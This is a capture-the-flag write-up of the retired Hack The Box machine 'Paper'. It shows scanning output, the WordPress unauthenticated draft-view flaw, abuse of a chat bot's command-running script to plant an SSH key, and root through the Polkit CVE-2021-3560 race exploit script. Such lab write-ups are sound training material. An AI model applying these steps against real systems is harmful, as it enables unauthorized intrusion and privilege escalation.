HTB: Paper

Posted on 19 Jun 2022 in security • 5 min read

Paper Card

This article is a writeup about a retired HacktheBox machine: Paper publish on February 05, 2022 by secnigma. This box is rated as an easy machine. It implies a verbose header, a vulnerable WordPress a rocket chat bot and the PolKit exploit.

Foothold and user

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP), 443 (HTTPS) and 22 (SSH) are open.

# Nmap 7.92 scan initiated Fri Feb 11 04:02:34 2022 as: nmap -p- -oN notes.md -sSV 10.129.138.109
Nmap scan report for 10.129.138.109
Host is up (0.014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 11 04:03:00 2022 -- 1 IP address (1 host up) scanned in 25.78 seconds

The website is a default nginx page.

website

We run a niko on the box and found the header disclosing the office.paper subdomain.

$ nikto -h http://10.129.138.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.129.138.109
+ Target Hostname:    10.129.138.109
+ Target Port:        80
+ Start Time:         2022-02-11 04:08:10 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-backend-server' found, with contents: office.paper

The new website is a WordPress with a few articles and comments mentioning sensible data in the drats article.

Wordpress

The different articles and comments show that there might be juicy information in draft posts and that they are not as secure as prisonmike think. We run a wpscan on it.

$ wpscan --url http://office.paper/  --api-token 7B19[REDACTED]
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.20
      Sponsored by Automattic - https://automattic.com/
      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://office.paper/ [10.129.138.109]
[+] Started: Fri Feb 11 05:04:13 2022

Interesting Finding(s):

[+] Headers
| Interesting Entries:
|  - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|  - X-Powered-By: PHP/7.2.24
|  - X-Backend-Server: office.paper
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] WordPress readme found: http://office.paper/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
| Found By: Rss Generator (Passive Detection)
|  - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
|  - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
|
| [!] 31 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
|     Fixed in: 5.2.4
|     References:
|      - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
|      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
|      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
|     Fixed in: 5.2.4
|     References:
|      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
|      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
|      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
|      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
<SNIP>

The site is vulnerable to CVE-2019-17671 allowing unauthenticated users to view the draft posts. We take a look at prisonmike's one using the URL http://office.paper/index.php/author/prisonmike/?static=1. We got a "secret registration URL" for the rocket chat.

>test
>
>Threat Level Midnight
>
>A MOTION PICTURE SCREENPLAY,
>WRITTEN AND DIRECTED BY
>MICHAEL SCOTT
>
>[INT:DAY]
>
>Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt.
>
># Secret Registration URL of new Employee chat system
>
>http://chat.office.paper/register/8qozr226AhkCHZdyY
>
># I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.
>
># Also, stop looking at my drafts. Jeez!

We register an account and see that there is bot recyclops that allow to request and view files. We can start a private discussion with it and query its help menu.

We enumerate the working directory using the file command and discover that file ../ is working. We enumerate the folder and found the bot home directory containing a scripts folder with a run.js script inside.

// Description:
// Runs a command on hubot
// TOTAL VIOLATION of any and all security!
//
// Commands:
// hubot run <command> - runs a command on hubot host

module.exports = function(robot) {
  robot.respond("/RUN (.*)$/i", function(msg) {
      console.log(msg);
      var cmd = msg.match[1];
      msg.send("Running " + cmd);
      var exec = require('child_process').exec;
      exec(cmd, function(error, stdout, stderr) {
          if (error) {
          msg.send(error);
          msg.send(stderr);
          } else {
          msg.send(stdout);
          }
          });
      });
};

We use it and run id. We discover that the bot is running as the dwight user on the box. We can directly grab the user flag but we want a shell as user.

run id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)

We upload our SSH key on the box.

run echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzB[SNIP] kali@kali' >> ~/.ssh/authorized_keys

We can then logging as dwight using SSH and grab the user flag.

$ ssh 10.129.138.109 -ldwight
[dwight@paper ~]$ cat user.txt
48cd829918540bb7a9bec8676f5b0024

Root

The root part is a wild ride and I discussed it directly with the box author secnigma over Discord.

When the box was released there was a bug in linpeas fixed in the first days of the box

As you can see in the commit the script always flagged a box using yum as "Vulnerable to CVE-2021-3560" (Polkit) if we run a linpeas release prior to the patch date on the box we will see that the box is marked as vulnerable.

[dwight@paper ~]$ sh linpeas.sh


╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.29

Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:

Problem 1: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
Problem 2: conflicting requests
  - nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
Vulnerable to CVE-2021-3560

Of course, running a later version does not show the box as vulnerable to the CVE as yum list installed | grep polkit return an empty string. Nonetheless the box is vulnerable to it. This information can be found using directly rmp to list the package and looking at the polkit version (v0.113 to v0.118 are vulnerable).

[dwight@paper ~]$ rpm -qa|grep -i polkit
polkit-0.115-6.el8.x86_64
polkit-pkla-compat-0.1-12.el8.x86_64
polkit-libs-0.115-6.el8.x86_64

Polkit

The Polkit exploit is largely documented but as it is race condition it need to be performed quickly. Moreover the box author used a cleanup mechanism that regularly (2 minutes) rewrite the /etc/passwd and /etc/shadow files. The box author developed a script, publish on github that automate this process. We can run the poc.sh on the box and switch user as secnimga and then sudo bash to get a root shell and get the flag.

[dwight@paper ~]$ sh poc.sh -t=0.002 && su secnigma

[!] Username set as : secnigma
[!] Timing set to : 0.002
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma  with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using sudo - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
Password:
[secnigma@paper dwight]$ id
uid=1005(secnigma) gid=1005(secnigma) groups=1005(secnigma),10(wheel)
[secnigma@paper dwight]$ sudo bash
[sudo] password for secnigma:
[root@paper dwight]# cat^C
[root@paper dwight]# cd
[root@paper ~]# cd /root/
[root@paper ~]# cat root.txt
254b5756cdc3dfa2cc7ff4703e76758d

Wrapping up

Overall a great realistic box with a lot of interaction and different vulnerabilities for the user part.